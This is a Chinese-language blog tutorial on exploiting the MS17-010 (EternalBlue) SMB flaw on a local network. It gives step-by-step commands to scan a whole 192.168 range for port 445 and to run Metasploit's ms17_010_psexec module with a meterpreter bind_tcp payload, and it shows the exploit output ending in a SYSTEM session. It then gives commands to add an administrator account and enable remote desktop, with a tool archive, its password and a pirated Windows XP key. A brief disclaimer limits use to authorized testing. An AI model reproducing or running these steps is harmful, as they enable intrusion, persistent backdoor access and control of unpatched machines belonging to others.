MS17-010(永恒之蓝)局域网内测试
浏览 2422 | 评论 1 | 字数 6085
卖女孩的小火柴
2019年10月12日
  • ms17-010是一个windows内smb协议的一个漏洞,外部攻击者可以对其造成溢出,以执行任意代码

    所有测试仅仅局限于局域网内,严禁进行未经允许的测试!

    工具包:工具.7z 密码 shinenet.cn

    测试平台:

    1. windows10 1903(扫描IP和连接远程桌面)
    2. kali(用于使用msf)
    3. 局域网内漏洞主机一台 或 WINXP 虚拟机一台

    备注:由于大部分情况下局域网内都不太可能存在有漏洞的主机,故提供虚拟机方式。

    准备工作(如局域网内有设备可跳过):

    1. 下载并安装VM虚拟机
    2. 下载WINXP 2008年的靶机镜像 下载连接:ed2k://|file|zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-74070.iso|630237184|EC51916C9D9B8B931195EE0D6EE9B40E|/
    3. 安装并且激活WINXP KEY:MRX3F-47B9T-2487J-KWKMF-RPWBY
    4. 设置靶机的网络状态

      • 编辑虚拟机设置-网络适配器-桥接模式
      • 这是为了让虚拟机直接连接到你的路由器,没路由器的童鞋。。。就不用设置了
    5. 启动XP系统,百度搜索:WINXP如何查看IP地址 记录下IP
    6. 关闭XP自带的网络防火墙,准备结束

    所有工具运行均需要关闭杀毒软件和WD

    扫描设备(如安装虚拟机可跳过)

    虽然masscan功能更多速度更快,但相比较而言,S扫描器更加的简单易用。
    在s.exe 的文件旁边按住shift并右键-选择从此处打开Powershell窗口
    输入 .\s.exe 并回车,可以看到s扫描器的提示
    我们在这里扫描整个192.168的B段
    命令为:.\s.exe TCP 192.168.0.0 192.168.255.255 445 1024 /save
    之所以使用TCP方式,是因为WIN10不支持使用SYN方式
    静静等待扫描完成
    Scan 65536 IPs Complete In 0 Hours 3 Minutes 12 Seconds. Found 51 Hosts
    扫描结束,扫描到51个Hosts
    同时目录下面生成 Result.txt
    手动删除开头和结尾无用字符,然后替换 445 Open为空
    继续替换 空格 为空,得到一份完整的445端口开放的IP列表

    验证漏洞

    打开 说明.txt 文件,这是MS_17_010_Scan.exe 文件的扫描说明,支持两种形式

    1. 单IP扫描(虚拟机)

      • 启动PowerShell - 输入.\MS_17_010_Scan.exe -ip xxxxxxx 其中xxxx为虚拟机的IP
    2. 文件扫描(局域网用户)

      • 启动PowerShell - 输入.\MS_17_010_Scan.exe -file Result.txt 其中Result.txt为IP列表文件,一行一个

    查看扫描结果,Found Vuln MS17-010 为存在漏洞

    捕获.PNG

    可以看到,局域网内存在多台MS17-010漏洞主机,并且标注出了对应的WIN版本(Windows 5.1大概率是WINXP)
    记录下这些IP,等会儿要用

    利用MS17-010

    准备工作

    1. Kali系统一个,虚拟机物理机均可(虚拟机也需要设置网络为 桥接)
    2. Shell知识一些(至少得会敲命令,会TAB自动补全)
    3. 启动Kali
    4. 打开 终端 应用程序,其实就是shell
    5. 本来还应该使用nmap对机器进行扫描以确定的,在此省略,有兴趣的童鞋可以自己去搜搜教程
    6. 输入 msfconsole 进入MSF环境

    扫描漏洞

    刚刚使用的工具是WIN下的,并不是非常的精准,这里重新使用MSF扫描那几台主机
    命令:
    使用MS17-010的扫描工具
    use auxiliary/scanner/smb/smb_ms17_010
    查看工具的选项
    show options
    也可以使用 show info 查看插件的说明
    选择一个你想要尝试的目标,记录下IP,然后设置目标(或者设置多个目标,使用逗号进行分割)
    set RHOSTS XXXX
    开始运行扫描
    run
    这是我的扫描结果:

    [+] 192.168.236.106:445   - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
    [*] Scanned 1 of 6 hosts (16% complete)
    [+] 192.168.237.50:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 Service Pack 2 x86 (32-bit)
    [*] Scanned 2 of 6 hosts (33% complete)
    [+] 192.168.238.62:445    - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
    [*] Scanned 3 of 6 hosts (50% complete)
    [+] 192.168.238.69:445    - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
    [*] Scanned 4 of 6 hosts (66% complete)
    [+] 192.168.238.163:445   - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
    [*] Scanned 5 of 6 hosts (83% complete)
    [+] 192.168.238.227:445   - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
    [*] Scanned 6 of 6 hosts (100% complete)
    [*] Auxiliary module execution completed

    全是X86的主机,配置应该不会很高

    开始渗透

    选择exploit模块
    use exploit/windows/smb/ms17_010_psexec
    查看选项
    show options
    设置目标
    set RHOSTS xxxxx
    选择payload 由于反射shell对于小白有点难度,这里使用bind类型的payload,缺点是容易被发现
    -如果对方是X64 64位的主机
    set payload windows/x64/meterpreter/bind_tcp
    -如果对方是X86 32位的主机
    set payload windows/meterpreter/bind_tcp
    选错会导致入侵成功但拿不到shell
    开始渗透
    exploit
    可以看到,在一连串的操作后,成功入侵(如果失败了,就换一台继续)

    msf5 exploit(windows/smb/ms17_010_psexec) > exploit
    \
    [*] 192.168.236.106:445 - Target OS: Windows 5.1
    [*] 192.168.236.106:445 - Filling barrel with fish... done
    [*] 192.168.236.106:445 - <---------------- | Entering Danger Zone | ---------------->
    [*] 192.168.236.106:445 -     [*] Preparing dynamite...
    [*] 192.168.236.106:445 -         [*] Trying stick 1 (x86)...Boom!
    [*] 192.168.236.106:445 -     [+] Successfully Leaked Transaction!
    [*] 192.168.236.106:445 -     [+] Successfully caught Fish-in-a-barrel
    [*] 192.168.236.106:445 - <---------------- | Leaving Danger Zone | ---------------->
    [*] 192.168.236.106:445 - Reading from CONNECTION struct at: 0x8964f7a0
    [*] 192.168.236.106:445 - Built a write-what-where primitive...
    [+] 192.168.236.106:445 - Overwrite complete... SYSTEM session obtained!
    [*] 192.168.236.106:445 - Selecting native target
    [*] 192.168.236.106:445 - Uploading payload... hVWaRZQw.exe
    [*] 192.168.236.106:445 - Created \hVWaRZQw.exe...
    [+] 192.168.236.106:445 - Service started successfully...
    [*] 192.168.236.106:445 - Deleting \hVWaRZQw.exe...
    [*] Started bind TCP handler against 192.168.236.106:4444
    [*] Sending stage (180291 bytes) to 192.168.236.106
    [*] Meterpreter session 1 opened (192.168.1.142:40241 -> 192.168.236.106:4444) at 2019-10-12 09:54:00 +0800
    
    meterpreter > \

    查看状态

    meterpreter是一个后门工具,提供了极多的入侵选项,具体可以百度,这里只说几个常用的

    • sysinfo - 查看系统基本信息
    • screenshare - 实时查看对方系统屏幕
    • shell - 最重要的,开启对方系统的cmd

    在shell中,如果乱码,请在终端上方的 设置字符编码 - 选择 GBK

    实际上,入侵到此就已经结束了,已经拿到对方系统的shell权限,提权那也是之后的事情了。

    开启3389和添加用户

    查看目标的管理员
    net user

    增加管理员
    net user test 123456 /add
    net localgroup administrators test /add

    删除管理员
    net user test /delete

    开启远程桌面
    xp 2003
    首选 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

    备选:

    wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call
    setallowtsconnections 1
    wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call
    setuserauthenticationrequired 1
    reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
    
    或者一句话
    wmic path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1

    最后就可以使用 远程桌面 连接上对应的机器啦
    最后报告上去的时候,不要忘记关闭3389和删除新建的账户
    最后报告上去的时候,不要忘记关闭3389和删除新建的账户
    最后报告上去的时候,不要忘记关闭3389和删除新建的账户

    备注:即使是MSF内的exploit框架也并不完善,仍然有存在漏洞但无法渗透的情况,源码是Python的,可以去github下载,那个成功率会高很多。
    如果确认存在漏洞,但MSF无法使用,可以使用fcstools工具,具体使用方式请百度,默认已经填好了x86和x64的payload,bind_tcp,端口4444

    工具包:工具.7z 密码 shinenet.cn

    本文作者:卖女孩的小火柴
    本文链接:https://www.shinenet.cn/archives/50.html
    最后修改时间:2019-11-15 19:55:52
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    如果文章对您有帮助,不妨打赏杯可乐?微信-赞赏码
    评论
    如果可能,请填写真实邮箱,有回复会送至邮箱。请不要水评论,谢谢。
    textsms
    支持 Markdown 语法
    email
    link
    评论列表
    已有 1 条评论
    Qicloud
    2019-10-23 21:36
    搞事情哦,有种炸公司电脑的冲动